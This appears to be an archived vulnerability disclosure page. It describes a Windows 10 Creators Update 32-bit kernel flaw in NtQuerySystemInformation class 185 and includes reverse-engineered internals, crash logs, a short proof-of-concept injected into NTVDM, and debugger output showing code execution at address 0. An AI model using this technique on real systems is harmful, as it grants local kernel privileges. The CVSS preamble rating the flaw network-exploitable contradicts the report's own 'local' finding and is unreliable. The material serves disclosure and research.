The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Windows 10 Creators Update 32-bit Ring-0 Code Execution
Windows 10 Creators Update 32-bit execution of ring-0 code from NULL page via NtQuerySystemInformation (class 185, Warbird functionality)
In Windows 10 Creators Update (version 1703), a new information class 185 was introduced to the NtQuerySystemInformation system call, which is handled by the internal nt!WbDispatchOperation function. Non-privileged users in the system can freely trigger it. The routine supports a number of different operations (WbDecryptEncryptionSegment, WbReEncryptEncryptionSegment, WbHeapExecuteCall and so on), but before any of them are performed, nt!WbGetWarbirdProcess is called to acquire the so-called warbird process.
Under the hood, the function operates on a global nt!g_warbirdExtension structure of type WARBIRD_EXTENSION, which has been reverse-engineered to the following layout:
--- cut ---
00000000 _WARBIRD_EXTENSION struc ; (sizeof=0x18)
00000000 elem_size dd ?
00000004 count dd ?
00000008 capacity dd ?
0000000C dataptr dd ?
00000010 realloc_delta dd ?
00000014 cmp_func dd ?
00000018 _WARBIRD_EXTENSION ends
--- cut ---
In other words, it's a simple dynamically-sized container with an associated comparator function. The container is operated on by functions such as nt!WbAddLookupEntry, nt!WbRemoveLookupEntry and nt!WbFindLookupEntry, all of which assume that the structure has been successfully initialized.
Its initialization is performed in nt!WbInitialize (<--- nt!ClipInitHandles <--- nt!ExInitLicenseData <--- nt!Phase1InitializationIoReady <--- nt!Phase1Initialization <--- ...), but only if the nt!WbGetServiceDescriptorIndex call succeeds first. The purpose of nt!WbGetServiceDescriptorIndex is to locate the index of the NtQuerySystemInformation entry in the system call table, as shown in the pseudo-code below:
--- cut ---
v2 = 0;
v3 = -1;
v4 = 0;
if ( KiServiceLimit )
{
v5 = KeServiceDescriptorTable;
while ( (KeServiceDescriptorTable + (*(v5 + 4 * v4) >> 4)) != NtQuerySystemInformation )
{
v5 = KeServiceDescriptorTable;
if ( ++v4 >= KiServiceLimit )
goto label_return;
}
v3 = v4;
}
label_return:
if ( a2 )
*a2 = v3;
if ( v3 == -1 )
v2 = STATUS_NO_MATCH;
--- cut ---
Strangely enough, the implementation of the function is exactly the same on x86 and x64 builds of the system, even though the syscall tables have different binary formats. On x86, it is a simple list of direct function addresses, while on x64 it's a list of offsets relative to nt!KeServiceDescriptorTable and shifted by 4 bits to the left. As a result, the function simply fails to locate the NtQuerySystemInformation address on 32-bit builds, thus leaving the nt!g_warbirdExtension structure uninitialized (filled with zeros).
When a user-mode program calls NtQuerySystemInformation(185, ...) to trigger operations on the zero-ed out container, internal functions will attempt to dereference NULL pointers, as shown in the example below:
--- cut ---
KMODE_EXCEPTION_NOT_HANDLED (1e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 816d42cc, The address that the exception occurred at
Arg3: 00000001, Parameter 0 of the exception
Arg4: 00000000, Parameter 1 of the exception
[...]
TRAP_FRAME: 8d03b5c0 -- (.trap 0xffffffff8d03b5c0)
ErrCode = 00000002
eax=00000000 ebx=00000000 ecx=ca5f0f70 edx=00000000 esi=8141d700 edi=00000000
eip=816d42cc esp=8d03b634 ebp=8d03b644 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
nt!WbAddLookupEntryEx+0x82:
816d42cc 8908 mov dword ptr [eax],ecx ds:0023:00000000=????????
Resetting default scope
LAST_CONTROL_TRANSFER: from 81398dad to 81319c34
STACK_TEXT:
8d03ab14 81398dad 00000003 6139b020 00000065 nt!RtlpBreakWithStatusInstruction
8d03ab68 813987f5 847cb340 8d03af88 8d03afbc nt!KiBugCheckDebugBreak+0x1f
8d03af5c 81318aba 0000001e c0000005 816d42cc nt!KeBugCheck2+0x739
8d03af80 813189f1 0000001e c0000005 816d42cc nt!KiBugCheck2+0xc6
8d03afa0 813c8ab4 0000001e c0000005 816d42cc nt!KeBugCheckEx+0x19
8d03afbc 8132e772 8d03b4e8 81434168 8d03b0b0 nt!KiFatalExceptionHandler+0x1a
8d03afe0 8132e744 8d03b4e8 81434168 8d03b0b0 nt!ExecuteHandler2+0x26
8d03b0a0 812a0540 8d03b4e8 8d03b0b0 00010037 nt!ExecuteHandler+0x24
8d03b4cc 8132a155 8d03b4e8 00000000 8d03b5c0 nt!KiDispatchException+0x228
8d03b538 8132ca57 00000000 00000000 00000000 nt!KiDispatchTrapException+0x51
8d03b538 816d42cc 00000000 00000000 00000000 nt!KiTrap0E+0x1a7
8d03b644 816d4244 8d03b670 00000000 00000000 nt!WbAddLookupEntryEx+0x82
8d03b65c 816d2242 ca5f0f70 00001498 00000004 nt!WbAddLookupEntry+0x32
8d03b68c 816d2596 ca9a0ff8 00000000 00000001 nt!WbAddWarbirdProcess+0x20
8d03b6a8 816d1c65 8d03b6e0 6139adb4 00000008 nt!WbGetWarbirdProcess+0xf9
8d03b6fc 815a781d 6139a0ac 000000b9 00d6fa3c nt!WbDispatchOperation+0xe1
8d03bbe4 8146d16a 00000000 00d6fb18 00000008 nt!ExpQuerySystemInformation+0x13a66f
8d03bbfc 81329397 000000b9 00d6fb18 00000008 nt!NtQuerySystemInformation+0x40
8d03bbfc 770c4350 000000b9 00d6fb18 00000008 nt!KiSystemServicePostCall
[...]
--- cut ---
If NTVDM (support for legacy 16-bit programs) is enabled in the system, the NTVDM.EXE process will have the NULL page mapped. If we spawn a 16-bit application (e.g. debug.exe) and inject our exploit into ntvdm, we can prevent the system from instantly crashing when trying to write to address 0 in nt!WbAddLookupEntryEx. Then, upon a second call to NtQuerySystemInformation(185, ...), the nt!WbFindLookupEntry function will believe that nt!g_warbirdExtension has a positive number of elements (since one has already been added), and will thus invoke the comparator function specified in nt!g_warbirdExtension.cmp_func. In the case of uninitialized nt!g_warbirdExtension on 32-bit platforms, this will simply result in transferring kernel code execution to address 0x00000000, where we can easily map our shellcode.
An example proof-of-concept code to be injected into the ntvdm process is as follows:
--- cut ---
BYTE Buffer[8];
DWORD BytesReturned;
RtlZeroMemory(Buffer, sizeof(Buffer));
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
RtlCopyMemory(NULL, "\xcc", 1);
RtlZeroMemory(Buffer, sizeof(Buffer));
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
--- cut ---
The result of running this code is shown below in the form of a WinDbg output log, which demonstrates the execution of the controlled int3 instruction (0xcc byte) at address 0:
--- cut ---
1: kd> g
Break instruction exception - code 80000003 (first chance)
00000000 cc int 3
0: kd> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 d99a8638 813acb5f 0x0
01 d99a8660 8128186c nt!WbFindLookupEntry+0x12b2e1
02 d99a8688 814d04fe nt!WbFindWarbirdProcess+0x26
03 d99a86a8 814cfc65 nt!WbGetWarbirdProcess+0x61
04 d99a86fc 813a581d nt!WbDispatchOperation+0xe1
05 d99a8be4 8126b16a nt!ExpQuerySystemInformation+0x13a66f
06 d99a8bfc 81127397 nt!NtQuerySystemInformation+0x40
07 d99a8bfc 772b4350 nt!KiSystemServicePostCall
--- cut ---
A local attacker could exploit the issue to execute arbitrary code with kernel privileges. As far as we've tested, it is only exploitable on Windows 10 Creators Update 32-bit with NTVDM enabled.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.
Found by: mjurczyk
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum